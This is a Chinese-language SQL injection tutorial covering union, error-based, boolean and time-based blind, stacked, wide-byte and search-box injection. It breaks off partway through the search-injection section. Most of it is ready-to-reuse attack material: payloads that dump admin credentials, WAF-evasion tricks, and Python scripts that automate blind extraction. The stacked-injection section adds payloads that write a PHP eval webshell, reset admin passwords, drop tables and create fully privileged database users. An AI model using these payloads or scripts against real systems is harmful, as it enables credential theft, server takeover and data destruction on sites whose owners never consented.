主流注入利用手法(核心实战模块)

约 59 分钟读完

主流注入利用手法(核心实战模块)

1. 联合查询注入(Union Inject)

联合查询注入是最基础、最常用的注入手法之一,核心利用SQL的UNION语句特性,将恶意查询语句与目标页面的正常查询语句拼接,使目标数据库执行恶意查询并返回结果。其核心优势是利用页面的数据回显,直接获取数据库中的敏感信息,上手难度低、实战效率高,是注入入门和实战中首选的手法(前提是满足适用场景)。

1.1 适用场景(核心前提)

目标页面存在数据回显,即页面会展示数据库查询的结果(如用户列表、商品信息、详情页内容等)。例如:访问http://xxx.com/list.php?id=1,页面显示id=1对应的商品名称、价格等数据,此时大概率可尝试联合查询注入;若页面仅显示“查询成功”“查询失败”,无具体数据,则无法使用该手法。

1.2 核心操作步骤(实战闭环)

步骤不可逆,需逐步验证,避免因操作失误导致注入失败或触发目标防护机制。

  1. 判断列数:核心目的是确定目标正常SQL语句查询的列数,确保后续UNION拼接的查询语句列数与之一致(否则会报错,无法回显结果)。常用Payload:id=1 ORDER BY 1--+(ORDER BY 用于排序,数字表示按第N列排序),逐步递增数字(1、2、3...),当页面出现报错(如“Unknown column '4' in 'order clause'”)或显示异常时,说明上一个数字即为目标列数。示例:id=1 ORDER BY 3--+ 正常,id=1 ORDER BY 4--+ 报错,则目标列数为3。

  2. 判断回显位:列数确定后,需找到哪些列会在页面回显数据(即“回显位”),后续将恶意查询语句的结果放在回显位中,才能看到查询结果。常用Payload:id=1 UNION SELECT 1,2,3--+(替换列数为实际判断出的数量),观察页面显示的数字(如页面显示“2”“3”),则对应数字的位置即为回显位(示例中2、3为回显位,1未回显)。注意:需将前面的正常查询结果置空(如id=-1,使正常查询无结果),避免正常结果覆盖恶意查询结果,优化Payload:id=-1 UNION SELECT 1,2,3--+

  3. 查询库名:利用回显位,查询目标数据库的名称(当前连接的数据库),为后续查表、查字段奠定基础。常用Payload(假设回显位为2、3):id=-1 UNION SELECT 1,database(),version()--+,其中database()函数返回当前数据库名,version()函数返回数据库版本(辅助判断数据库类型,如MySQL 5.7、8.0),页面回显位置会显示对应的库名(如“testdb”)和版本信息。

  4. 查表名:已知库名后,查询该数据库下的所有表名,筛选可能包含敏感数据的表(如user、admin、member、password等)。常用Payload:id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='testdb'--+,其中information_schema是MySQL系统数据库,存储所有数据库、表、字段的信息;group_concat()函数用于将多个结果拼接成一个字符串(避免分页显示,一次性获取所有表名);table_schema='testdb' 限定查询“testdb”库下的表。

  5. 查字段名:确定目标表(如admin表)后,查询该表下的所有字段名,找到敏感字段(如id、username、password、phone等)。常用Payload:id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='testdb' AND table_name='admin'--+,table_name='admin' 限定查询admin表的字段。

  6. 查数据:最终步骤,查询敏感字段对应的具体数据(如管理员账号密码),完成注入。常用Payload:id=-1 UNION SELECT 1,group_concat(username,':',password),3 FROM testdb.admin--+,将username和password拼接显示(用“:”分隔,便于查看),页面回显即可获取管理员账号密码(如“admin:123456”“test:abcdef”)。

1.3 标准Payload模板(直接复用,替换占位符即可)

  • 判断列数:?id=1 ORDER BY N--+(N逐步递增,直至报错)

  • 判断回显位:?id=-1 UNION SELECT 1,2,...,N--+(N为实际列数)

  • 查库名+版本:?id=-1 UNION SELECT 1,database(),version()--+

  • 查表名:?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+(database() 可替换为具体库名字符串,需加单引号)

  • 查字段名:?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='库名' AND table_name='表名'--+

  • 查数据:?id=-1 UNION SELECT 1,group_concat(字段1,':',字段2),3 FROM 库名.表名--+

1.4 限制条件(必看,避免踩坑)

  1. 前后查询列数必须一致:这是联合查询注入的核心限制,若正常查询语句列数为3,UNION拼接的查询语句列数为2或4,会直接报错,无法执行,更无法回显结果。

  2. 数据类型兼容:回显位对应的列数据类型,需与恶意查询语句返回的数据类型一致(如回显位列是字符串类型,若查询的是数字类型,可能无法正常回显,或显示异常)。示例:回显位是username列(字符串类型),若拼接 UNION SELECT 1,123,3--+,123是数字类型,可能正常显示;但若回显位是id列(int类型),拼接 UNION SELECT 1,'admin',3--+,则可能报错或显示异常,此时需将字符串类型转换为int类型(如 UNION SELECT 1,cast('admin' as int),3--+,但可能报错,建议优先匹配数据类型)。

  3. 可能被防护拦截:UNION、SELECT、information_schema等关键词是注入防护的重点拦截对象,若目标有WAF(Web应用防火墙),可能会拦截该类Payload,需进行绕过(如大小写混淆:Union SeLeCt、编码绕过:URL编码、注释绕过等)。

2. 报错注入(Error-based Inject)

报错注入核心利用“数据库报错信息会回显到页面”的特性,通过构造恶意SQL语句,迫使数据库执行时产生语法错误或逻辑错误,并且在报错信息中携带我们需要查询的敏感数据(如库名、表名、字段值)。该手法无需页面有正常数据回显,只需页面会打印SQL错误信息,适用场景比联合查询注入更广泛,实战中常用于联合查询注入被拦截或无数据回显的场景。

2.1 适用场景(核心前提)

目标页面会打印SQL错误信息,即当输入错误的参数(如?id=1')时,页面会显示具体的SQL报错内容(如“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' at line 1”),而非仅显示“操作失败”“系统异常”等模糊提示。例如:访问http://xxx.com/detail.php?id=1',页面显示SQL语法错误,包含引号、语句片段等信息,即可尝试报错注入。

2.2 MySQL常用报错函数(核心工具,必记)

报错注入的核心是“利用报错函数构造错误”,以下3个函数是MySQL中最常用、最稳定的报错函数,覆盖不同MySQL版本(5.0+均支持),优先使用updatexml和extractvalue(报错信息简洁,易提取数据),floor函数报错信息较繁琐,但兼容性更强。

  • updatexml(参数1, 参数2, 参数3):原本用于修改XML文档中的内容,语法要求参数2必须是合法的XPath表达式,若参数2中包含特殊字符(如单引号、双引号、反斜杠),则会触发报错,并将参数2中的异常内容回显出来,利用该特性携带查询结果。

  • extractvalue(参数1, 参数2):原本用于从XML文档中提取指定路径的内容,语法要求参数2必须是合法的XPath表达式,与updatexml原理一致,通过构造非法XPath表达式触发报错,携带查询结果。

  • **floor(rand(0)*2)**:floor函数用于向下取整,rand(0)*2 会生成0或1的随机数,结合group by语句使用时,会因MySQL的底层逻辑缺陷触发主键重复报错,报错信息中会携带查询结果。该函数无版本限制,但报错信息较长,需要从报错中筛选有效数据。

2.3 构造思路(核心逻辑,一通百通)

核心思路:构造“合法函数+非法参数+恶意查询语句”,使数据库在执行函数时,因参数非法触发报错,同时将恶意查询语句的结果嵌入到非法参数中,让报错信息携带该结果。简单来说,就是“借报错的嘴,说我们想查的话”。

通用构造公式:报错函数(合法参数, concat(特殊字符, 恶意查询语句), 合法参数),其中concat()函数用于将特殊字符(触发报错)和恶意查询语句的结果拼接在一起,确保报错时能回显查询结果。

2.4 常用Payload与拆解(实战可直接复用)

以下Payload均以MySQL为例,参数为?id=1,实际场景中替换参数名和查询内容即可,--+ 是MySQL的注释符,用于注释掉后面的多余SQL语句,避免影响恶意语句的执行。

(1)updatexml函数Payload(优先使用)

  • 查当前库名:?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)--+

  • 拆解:0x7e是ASCII码对应的“”符号(特殊字符,用于区分报错信息和查询结果,避免混淆);database()是查询当前库名的函数;concat(0x7e,database(),0x7e) 拼接“+库名+”;updatexml函数的参数2是非法XPath表达式(包含),触发报错,报错信息会显示“testdb”(testdb为当前库名),直接提取即可。

  • 查表名(已知库名为testdb):?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='testdb'),0x7e),1)--+

  • 查字段名(已知库名testdb、表名admin):?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='testdb' and table_name='admin'),0x7e),1)--+

  • 查数据(已知库名、表名、字段名):?id=1 and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from testdb.admin),0x7e),1)--+

(2)extractvalue函数Payload(与updatexml用法一致,替换函数名即可)

  • 查当前库名:?id=1 and extractvalue(1,concat(0x7e,database(),0x7e))--+

  • 查表名:?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='testdb'),0x7e))--+

(3)floor函数Payload(兼容性强,报错信息较繁琐)

  • 查当前库名:?id=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

  • 拆解:count(*) 用于统计数量,group by x 用于分组,floor(rand(0)*2) 生成0或1的随机数,三者结合会触发主键重复报错,报错信息中会包含“testdb0”或“testdb1”,提取“testdb”即为当前库名。

2.5 注意事项(实战避坑)

  • 报错信息长度限制:updatexml和extractvalue函数的报错信息长度有限制(最大32位),若查询结果过长(如多个表名、长字符串),会被截断,此时可使用substr()函数分段提取(如 substr(group_concat(table_name),1,30) 提取前30位,substr(...,31,60) 提取31-60位)。

  • 版本兼容性:floor函数适用于所有MySQL版本,updatexml和extractvalue适用于MySQL 5.1.5+版本,若目标MySQL版本较低(如5.0),需使用floor函数。

  • 防护拦截:报错函数、concat、select等关键词易被WAF拦截,可通过编码(如URL编码、十六进制编码)、大小写混淆(UpdateXml、ExtractValue)、注释插入(如updat%65xml)等方式绕过。

3. 布尔盲注(Boolean Blind)

布尔盲注是一种“无回显、无报错”场景下的注入手法,核心特点是:目标页面无任何数据回显,也不打印SQL报错信息,仅会根据SQL语句执行结果的真假(True/False),返回两种不同的页面状态(如页面正常显示/空白、提示“存在”/“不存在”、页面标题变化等)。我们通过构造“条件判断型”恶意SQL语句,逐字符猜解敏感数据,本质是“用页面状态判断我们的猜测是否正确”,耗时较长(手工注入效率低),但适用场景极广,是实战中最常用的盲注手法。

3.1 适用场景(核心前提)

满足以下3个条件,即可使用布尔盲注:

  1. 无数据回显:页面不展示任何数据库查询的具体结果(如访问?id=1和?id=2,页面内容无明显差异,仅无数据或显示固定内容)。

  2. 无报错信息:输入错误参数(如?id=1'),页面不打印任何SQL报错信息,仅显示模糊提示(如“请求失败”“页面不存在”)或无变化。

  3. 存在布尔差异:构造的SQL语句执行结果为True时,页面显示一种状态;执行结果为False时,页面显示另一种不同的状态(这是布尔盲注的核心,没有差异则无法判断)。示例:?id=1 and 1=1--+ 页面正常显示;?id=1 and 1=2--+ 页面空白,这就是典型的布尔差异。

3.2 核心逻辑(逐字符猜解,循序渐进)

布尔盲注的核心的是“猜解”,通过构造条件判断语句,先猜解敏感数据的长度,再逐字符猜解数据的具体内容(利用ASCII码或字符对比),如同“猜数字游戏”:先猜位数,再逐位猜数字,直到猜中全部内容。

通用猜解流程:猜解库名长度 → 逐字符猜解库名 → 猜解表名长度 → 逐字符猜解表名 → 猜解字段名长度 → 逐字符猜解字段名 → 猜解数据长度 → 逐字符猜解数据。

3.3 常用函数(必记,猜解的核心工具)

以下函数是布尔盲注的核心,用于构造条件判断语句,所有函数均适用于MySQL,其他数据库(如MSSQL、Oracle)函数略有差异,但逻辑一致。

  • length(参数):返回字符串的长度(数字类型),用于猜解数据长度。示例:length(database()) → 返回当前库名的长度(如库名为testdb,返回5)。

  • substr(参数1, 参数2, 参数3):截取字符串,参数1是要截取的字符串,参数2是截取的起始位置(从1开始),参数3是截取的长度(通常设为1,逐字符猜解)。示例:substr(database(),1,1) → 截取当前库名的第1个字符(如库名为testdb,返回“t”)。

  • ascii(参数):返回字符对应的ASCII码值(数字类型),用于将字符转换为数字,通过对比数字大小猜解字符。示例:ascii('t') → 返回116,ascii('e') → 返回101。

  • ord(参数):与ascii()函数功能一致,返回字符对应的ASCII码值,兼容性更强(部分数据库中ascii()函数不支持,可使用ord()替代)。

  • exists(参数):判断子查询是否存在结果,存在则返回True,不存在则返回False,常用于判断表、字段是否存在(简化猜解流程)。示例:exists(select * from testdb.admin) → 若admin表存在,返回True;否则返回False。

3.4 手工流程与脚本自动化思路(实战落地)

(1)手工注入流程(以猜解当前库名为例,逐步演示)

  1. 第一步:猜解库名长度。构造Payload:?id=1 and length(database())=5--+,观察页面状态:

    • 若页面正常(True),说明库名长度为5;

    • 若页面异常(False),则调整数字(如4、6),直至页面正常,确定库名长度。

  2. 第二步:逐字符猜解库名(已知长度为5,猜解第1-5个字符)。构造Payload(猜解第1个字符):?id=1 and ascii(substr(database(),1,1))=116--+(116是“t”的ASCII码):

    • 若页面正常,说明第1个字符是“t”;

    • 若页面异常,调整ASCII码值(如115、117),直至页面正常,确定第1个字符。

  3. 第三步:重复第二步,猜解第2-5个字符。例如猜解第2个字符:?id=1 and ascii(substr(database(),2,1))=101--+(101是“e”的ASCII码),依次类推,直到猜解出完整库名(如testdb)。

  4. 第四步:按照上述流程,依次猜解表名、字段名、数据(逻辑一致,仅替换Payload中的查询语句)。

(2)脚本自动化思路(解决手工效率低的问题)

手工布尔盲注耗时极长(若数据长度为20,每个字符需猜解1-127次ASCII码,共需2000+次尝试),实战中通常使用脚本自动化猜解,核心思路是“用脚本模拟手工猜解流程,自动判断页面状态,输出猜解结果”。

  • 核心步骤:

    1. 定义目标URL和参数(如url = "http://xxx.com/list.php?id={}");

    2. 编写“状态判断函数”:发送请求,判断页面是否正常(如判断页面是否包含某个固定字符串,正常则返回True,异常则返回False);

    3. 编写“长度猜解函数”:利用length()函数,循环递增数字,调用状态判断函数,确定数据长度;

    4. 编写“字符猜解函数”:利用substr()和ascii()函数,循环遍历ASCII码(32-126,可打印字符),调用状态判断函数,逐字符猜解数据;

    5. 整合函数,依次猜解库名、表名、字段名、数据,输出最终结果。

  • 常用脚本语言:Python(推荐,简洁高效,可使用requests库发送请求),示例代码框架(简化版): `import requests

url = "http://xxx.com/list.php?id={}"

状态判断函数

def is_true(payload): res = requests.get(url.format(payload)) # 假设页面正常包含"正常内容"字符串,异常则不包含 return "正常内容" in res.text

猜解长度

def guess_length(query): length = 1 while True: payload = f"1 and length({query})={length}--+" if is_true(payload): return length length += 1

猜解内容

def guess_content(query, length): content = "" for i in range(1, length+1): for ascii_code in range(32, 127): payload = f"1 and ascii(substr({query},{i},1))={ascii_code}--+" if is_true(payload): content += chr(ascii_code) break return content

执行猜解

db_length = guess_length("database()") db_name = guess_content("database()", db_length) print(f"当前库名:{db_name}")`

3.5 注意事项(实战避坑)

  • 避免频繁请求:手工或脚本注入时,需控制请求频率(如脚本中添加time.sleep(0.5)),避免短时间内发送大量请求,触发目标防护机制(如IP封禁)。

  • 状态判断要准确:必须先确认两种页面状态的差异(如正常页面包含“欢迎访问”,异常页面空白),避免因状态判断错误,导致猜解结果出错。

  • 绕过防护:and、or、=、substr等关键词/符号可能被WAF拦截,可使用替代方案(如and替换为&&、=替换为like、substr替换为mid)。

4. 时间盲注(Time Blind)

时间盲注是布尔盲注的“进阶版”,适用场景比布尔盲注更苛刻,核心特点是:目标页面无任何可见差异(无数据回显、无报错、无布尔状态差异),即无论SQL语句执行结果为True还是False,页面显示完全一致(如均显示固定内容、均为空白)。此时无法通过页面状态判断,只能通过“数据库执行语句的延迟时间”来判断SQL语句的执行结果,本质是“用延迟判断猜测是否正确”。

4.1 适用场景(核心前提)

满足以下2个条件,即可使用时间盲注:

  1. 无任何可见差异:输入正确/错误参数、构造True/False条件的SQL语句,页面显示完全一致,无任何区别(无法使用联合查询、报错、布尔盲注)。

  2. 数据库支持延时函数:目标数据库支持可控制执行时间的函数(如MySQL的sleep()、benchmark()),通过该函数让数据库在执行SQL语句时延迟一段时间,以此判断语句是否执行成功。

示例:访问?id=1 and sleep(5)--+,页面加载时间为5秒;访问?id=1 and 1=2 and sleep(5)--+,页面加载时间为0秒(无延迟),说明可通过延迟判断SQL语句的执行结果,可使用时间盲注。

4.2 核心逻辑(延迟判断,替代可见差异)

时间盲注的核心逻辑与布尔盲注完全一致,都是“逐字符猜解”(先猜长度,再猜内容),唯一的区别是:布尔盲注通过“页面状态”判断猜测是否正确,时间盲注通过“页面加载延迟”判断猜测是否正确。

通用逻辑:构造“条件判断语句+延时函数”,若条件判断为True,则执行延时函数(页面延迟加载);若条件判断为False,则不执行延时函数(页面正常加载),通过观察页面加载时间,判断条件是否成立,进而猜解敏感数据。

4.3 延时函数(核心工具,必记,分数据库)

延时函数是时间盲注的核心,不同数据库的延时函数不同,以下重点介绍MySQL的常用延时函数(实战中最常用),同时补充其他主流数据库的延时函数,便于应对不同场景。

(1)MySQL常用延时函数

  • sleep(n):最常用、最直观的延时函数,n为延迟时间(单位:秒),执行该函数后,数据库会暂停n秒再继续执行后续语句。示例:sleep(5) → 延迟5秒。注意:若目标数据库有连接超时限制(如3秒),则n需小于超时时间,否则会导致请求失败,无法判断。

  • benchmark(count, expr):通过重复执行某个表达式,达到延迟效果,count是重复执行的次数,expr是要执行的表达式(如md5('123'))。示例:benchmark(1000000, md5('123')) → 重复执行100万次md5('123'),耗时约1-2秒(根据数据库性能调整次数)。优势:无需指定具体延迟时间,适配不同数据库性能;劣势:延迟时间不固定,判断难度略高。

(2)其他数据库延时函数(补充,应对多场景)

  • MSSQL:waitfor delay '0:0:5'(延迟5秒,格式为“时:分:秒”);

  • Oracle:dbms_lock.sleep(5)(延迟5秒,需权限支持);

  • PostgreSQL:pg_sleep(5)(延迟5秒)。

4.4 条件延时语句结构(实战核心,直接复用)

时间盲注的核心是“条件延时”,即“条件成立则延时,不成立则不延时”,以下是MySQL中最常用的3种语句结构,优先使用第一种(简洁、稳定)。

  • 结构1(if函数+sleep):if(条件判断, sleep(n), 0)。解析:if函数判断条件是否成立,成立则执行sleep(n)(延时),不成立则返回0(不延时)。示例:?id=1 and if(length(database())=5, sleep(5), 0)--+ → 若库名长度为5,页面延迟5秒加载;否则正常加载。

  • 结构2(case语句+sleep):case when 条件判断 then sleep(n) else 0 end。解析:case语句判断条件是否成立,成立则执行sleep(n),不成立则返回0,逻辑与if函数一致,适用于if函数被拦截的场景。示例:?id=1 and case when length(database())=5 then sleep(5) else 0 end--+

  • 结构3(and/or+sleep):条件判断 and sleep(n)。解析:逻辑与布尔盲注一致,条件成立则执行sleep(n)(延时),条件不成立则不执行sleep(n)(不延时)。示例:?id=1 and length(database())=5 and sleep(5)--+ → 库名长度为5则延时,否则不延时。注意:该结构易被WAF拦截,优先使用前两种。

4.5 脚本批量猜解模板(实战必备,解决手工低效问题)

时间盲注手工注入效率极低(每个字符需等待5秒左右,一个10位的字符串需等待50秒以上),且易出错,实战中必须使用脚本自动化猜解,核心思路与布尔盲注脚本一致,仅修改“状态判断函数”(从判断页面内容,改为判断请求响应时间)。

Python脚本模板(MySQL,基于requests库,可直接修改复用)

import requests
import time

# 目标URL,{}为参数占位符
url = "http://xxx.com/detail.php?id={}"
# 延迟时间(单位:秒),根据目标数据库性能调整,建议3-5秒
delay_time = 5

# 状态判断函数:判断请求响应时间是否超过延迟时间(超过则说明条件成立,执行了sleep)
def is_true(payload):
    start_time = time.time()  # 记录请求开始时间
    try:
        # 发送请求,设置超时时间(略大于delay_time,避免请求超时误判)
        res = requests.get(url.format(payload), timeout=delay_time + 2)
        end_time = time.time()  # 记录请求结束时间
        # 计算响应时间,若超过delay_time,返回True(条件成立)
        return (end_time - start_time) >= delay_time
    except requests.exceptions.Timeout:
        # 若请求超时,说明延迟时间过长,也视为条件成立
        return True

# 猜解数据长度(与布尔盲注逻辑一致)
def guess_length(query):
    length = 1
    while True:
        # 构造时间盲注Payload(if函数结构)
        payload = f"1 and if(length({query})={length}, sleep({delay_time}), 0)--+"
        if is_true(payload):
            return length
        length += 1
        # 避免无限循环,设置最大长度(可根据实际场景调整)
        if length > 50:
            return None

# 猜解数据内容(逐字符猜解)
def guess_content(query, length):
    content = ""
    # 遍历每个字符位置(1到length)
    for i in range(1, length + 1):
        # 遍历可打印ASCII码(32-126)
        for ascii_code in range(32, 127):
            # 构造Payload,逐字符猜解
            payload = f"1 and if(ascii(substr({query},{i},1))={ascii_code}, sleep({delay_time}), 0)--+"
            if is_true(payload):
                content += chr(ascii_code)
                print(f"当前猜解结果:{content}")  # 实时打印进度
                break
    return content

# 执行猜解(示例:猜解当前库名、admin表的username字段数据)
if __name__ == "__main__":
    # 1. 猜解当前库名
    db_length = guess_length("database()")
    if db_length:
        db_name = guess_content("database()", db_length)
        print(f"✅ 当前数据库名:{db_name}")
    else:
        print("❌ 库名长度猜解失败")
    
    # 2. 猜解admin表的username字段数据(需先猜解表名、字段名,逻辑一致)
    # table_length = guess_length("(select table_name from information_schema.tables where table_schema='{}' limit 0,1)".format(db_name))
    # table_name = guess_content("(select table_name from information_schema.tables where table_schema='{}' limit 0,1)".format(db_name), table_length)
    # print(f"✅ 目标表名:{table_name}")
    # 后续可继续猜解字段名、数据,逻辑一致

4.6 注意事项(实战避坑,关键要点)

  • 延迟时间设置合理:延迟时间不宜过短(如1秒,易被网络波动误判),也不宜过长(如10秒,耗时过长,易触发IP封禁),建议设置3-5秒,同时脚本中设置超时时间(略大于延迟时间),避免误判。

  • 排除网络波动干扰:猜解前先多次访问正常URL(如?id=1),记录正常响应时间(如0.2秒),若响应时间波动较大(如0.2-2秒),则不适合使用时间盲注(易误判),可尝试更换网络或调整延迟时间。

  • 绕过防护:sleep、if、substr等关键词易被WAF拦截,可使用编码(如sleep替换为sleep%28)、大小写混淆(Sleep)、替代函数(如sleep替换为benchmark)等方式绕过。

  • 权限注意:部分数据库中,延时函数需要特定权限(如Oracle的dbms_lock.sleep需管理员权限),若权限不足,延时函数无法执行,时间盲注会失败。

5. 堆叠注入(Stacked Queries)

堆叠注入与前面4种注入手法的核心逻辑不同,前面4种均是“修改或拼接单个SQL语句”,获取敏感数据;而堆叠注入的核心是“利用分号(;)分隔多个SQL语句”,让数据库依次执行多个SQL语句(正常SQL语句+恶意SQL语句)。其优势是:不仅能读库,还能执行写操作、删操作、权限操作(如创建用户、写文件),危害极大,但适用场景较苛刻(依赖数据库和驱动支持)。

5.1 核心原理

SQL语句中,分号(;)是“语句结束符”,用于表示一个SQL语句执行完毕,后续可继续执行下一个SQL语句。堆叠注入就是利用这个特性,在目标正常SQL语句后面,用分号分隔,拼接恶意SQL语句,让数据库同时执行正常语句和恶意语句。

示例:目标正常SQL语句为select * from goods where id=1,我们构造Payload:?id=1; delete from goods where id=2--+,数据库会依次执行两个语句:① select * from goods where id=1(正常语句);② delete from goods where id=2(恶意语句,删除id=2的商品),从而实现恶意操作。

5.2 适用场景(核心前提,较苛刻)

堆叠注入的适用场景受数据库类型、驱动程序、应用程序代码的限制,需同时满足以下条件:

  1. 数据库支持多语句执行:大部分关系型数据库(MySQL、MSSQL、PostgreSQL)均支持多语句执行,但Oracle不支持(Oracle中分号不能用于分隔多个语句执行),因此Oracle数据库无法使用堆叠注入。

  2. 驱动程序支持多语句执行:应用程序连接数据库时使用的驱动,需支持执行多个SQL语句。例如:PHP连接MySQL时,使用mysql_query()函数(不支持多语句执行),无法使用堆叠注入;使用mysqli_multi_query()函数(支持多语句执行),可使用堆叠注入。

  3. 应用程序未过滤分号(;):目标应用程序未对用户输入的参数中的分号进行过滤、转义,允许分号传入数据库(若分号被过滤,则无法分隔语句,注入失败)。

实战中,最常见的适用场景:MySQL数据库 + PHP语言 + mysqli_multi_query()函数,或MSSQL数据库 + ASP.NET语言

5.3 核心用途(危害极大,远超其他注入手法)

堆叠注入不仅能实现“读库”(与其他注入手法一致),还能实现“写、删、改、权限控制”等操作,危害极大,是实战中最危险的注入手法之一。

  • 读库:拼接查询语句,获取敏感数据,与联合查询、报错注入效果一致。示例:?id=1; select database();--+(查询当前库名)。

  • 改表/改数据:修改数据库表结构、修改表中数据。示例:?id=1; update admin set password='123456' where username='admin';--+(修改管理员密码为123456);?id=1; alter table admin add column phone varchar(20);--+(给admin表添加phone字段)。

  • 删数据/删表:删除数据库表中的数据、删除整个表(不可逆,危害极大)。示例:?id=1; delete from admin where username='test';--+(删除test用户);?id=1; drop table admin;--+(删除admin表)。

  • 写文件:利用MySQL的into outfile函数,将数据库中的数据写入到服务器的文件中,甚至写入恶意脚本(如webshell)。示例:?id=1; select username,password into outfile 'D:/wwwroot/info.txt' from admin;--+(将admin表的账号密码写入info.txt文件);?id=1; select '<?php @eval($_POST[cmd]);?>' into outfile 'D:/wwwroot/shell.php';--+(写入webshell,获取服务器控制权)。注意:写文件需知道服务器的绝对路径,且数据库用户有file权限。

  • 创建用户/提升权限:创建数据库用户,赋予管理员权限,实现长期控制。示例:?id=1; create user 'hacker'@'localhost' identified by '123456';--+(创建hacker用户);?id=1; grant all privileges on *.* to 'hacker'@'localhost' with grant option;--+(赋予hacker用户所有数据库的管理员权限)。

5.4 常用Payload示例(实战可直接复用)

  • 查询当前库名+版本:?id=1; select database(),version();--+

  • 修改管理员密码:?id=1; update 库名.表名 set 密码字段='新密码' where 用户名字段='管理员账号';--+

  • 写入webshell(MySQL):?id=1; select '<?php eval($_POST[cmd]);?>' into outfile '服务器绝对路径/shell.php';--+

  • 创建数据库用户(MySQL):?id=1; create user 'test'@'%' identified by 'test123';--+(%表示允许从任意IP连接)

  • 删除表(谨慎使用):?id=1; drop table 库名.表名;--+

5.5 注意事项(实战必看,避免踩坑)

  • 谨慎操作:堆叠注入的写、删、改操作不可逆,一旦执行错误(如误删admin表),会造成严重损失,实战中需确认目标表、字段信息后,再执行恶意操作。

  • 权限限制:写文件、创建用户、提升权限等操作,需要数据库用户有对应权限(如file权限、create user权限),若权限不足,操作会失败。

  • 适用范围有限:Oracle数据库不支持堆叠注入,PHP的mysql_query()函数不支持多语句执行,需提前判断目标环境。

  • 防护拦截:分号(;)、drop、update、create等关键词/符号易被WAF拦截,可通过编码、注释插入等方式绕过(如;替换为%3b,drop替换为dr%6fp)。

6. 其他特殊注入(实战高频,补充场景)

前面5种是最核心、最通用的注入手法,以下几种是“特殊场景下的注入手法”,均是基于前面的核心逻辑(如拼接、报错、盲注),但针对特定的编码、输入场景、防护机制做了适配,实战中出现频率极高,需重点掌握。

6.1 宽字节注入(编码绕过型注入)

(1)核心原理

宽字节注入主要用于绕过“单引号转义”防护,目标应用程序为了防止注入,会对用户输入的单引号(')进行转义(如在单引号前添加反斜杠\,将'转义为',使单引号失去语法意义)。宽字节注入利用“GBK编码”的特性,将转义符\“吃掉”,使单引号恢复语法意义,进而构造恶意SQL语句。

关键知识点:GBK编码是双字节编码(一个字符占2个字节),而反斜杠\的ASCII码是0x5c,若我们输入的字符的前一个字节是0xdf,那么0xdf和0x5c会组成一个GBK宽字节(㼼),此时反斜杠\被“吃掉”,原本被转义的'(0x27)就会恢复为单引号,用于闭合SQL语句。

(2)适用场景

  • 目标应用程序使用GBK编码(页面编码为GBK,数据库编码为GBK);

  • 应用程序对用户输入的单引号(')进行了转义(添加\),但未对宽字节进行过滤。

(3)核心Payload与实战步骤

  • 核心绕过字符:%df'(URL编码后,%df是0xdf,'是0x27),输入%df'后,应用程序会将'转义为'(0x5c27),此时%df(0xdf)与\(0x5c)组成GBK宽字节㼼(0xdf5c),剩余的'(0x27)用于闭合SQL语句。

  • 实战步骤(以联合查询注入为例):

    1. 测试是否存在宽字节注入:访问?id=1%df'--+,若页面报错(如SQL语法错误),说明反斜杠被吃掉,单引号生效,存在宽字节注入;

    2. 后续步骤与联合查询、报错注入一致,仅需将单引号替换为%df',示例:

      • 判断列数:?id=1%df' ORDER BY 3--+

      • 查库名(报错注入):?id=1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

  • 补充Payload:若%df'被拦截,可使用其他宽字节(如%81'、%a1'),原理一致。

6.2 搜索型注入(特殊输入场景注入)

(1)核心原理

搜索型注入主要出现在“搜索功能”中,目标应用程序的搜索框会接收用户输入的关键词,并将其拼接进SQL查询语句中执行。由于搜索功能的SQL语句格式与普通的ID参数查询不同(通常包含LIKE模糊查询),且部分开发者对搜索框输入的过滤不够严格,导致出现注入漏洞。其核心逻辑仍是“拼接恶意SQL语句”,但Payload需适配搜索场景的SQL语法,本质是联合查询、报错注入等基础手法的场景化应用。

(2)适用场景

  • 目标应用存在搜索功能(如商品搜索、文章搜索、用户搜索等),搜索框可输入任意字符并提交查询;

  • 搜索框输入的关键词未经过严格过滤(如未过滤单引号、UNION、SELECT等关键词),或仅做简单过滤(如过滤单引号但可绕过);

  • 后台SQL查询语句使用LIKE模糊查询拼接用户输入,常见语法:select * from goods where goods_name like '%用户输入%',这种语法下,用户输入的内容会被包裹在单引号和百分号之间,注入Payload需先闭合单引号和百分号,再拼接恶意语句。

(3)核心特点与区别

与普通ID参数注入(如?id=1)相比,搜索型注入有两个关键区别,也是Payload构造的核心要点:

  1. SQL语法差异:普通ID查询通常是精确匹配(=),而搜索查询是模糊匹配(LIKE),用户输入被包裹在 '%xxx%' 中,需先闭合这部分语法(即先输入 ' 闭合前一个单引号,输入 % 闭合前一个百分号,或直接用注释符注释掉后面的百分号和单引号);

  2. 注入触发方式:搜索框输入后,页面通常会显示“搜索结果”(有数据回显)或“无匹配结果”,因此优先使用联合查询注入、报错注入,若无回显则使用布尔盲注,与基础手法的触发逻辑一致。

(4)Payload构造与实战步骤(以联合查询为例)

实战核心:先闭合搜索场景的原生SQL语法('%xxx%'),再拼接基础注入Payload,最后用注释符注释掉后面多余的SQL语句(避免语法错误)。

  1. 第一步:测试漏洞存在性。在搜索框输入关键词 '(单引号),提交查询,观察页面状态: 若页面显示SQL报错信息(如“You have an error in your SQL syntax”),说明单引号未被过滤,存在注入漏洞;

  2. 若页面显示“无匹配结果”或无异常,可尝试输入 ' and 1=1--+,若页面恢复正常显示(有搜索结果),输入 ' and 1=2--+ 页面显示无结果,说明存在布尔型搜索注入。

  3. 第二步:闭合原生SQL语法,构造适配Payload。以最常见的 like '%xxx%' 语法为例,Payload需先闭合 '%,再拼接恶意语句:闭合逻辑:输入 %' and 1=1--+,此时后台SQL语句变为:select * from goods where goods_name like '% %' and 1=1--+ %'

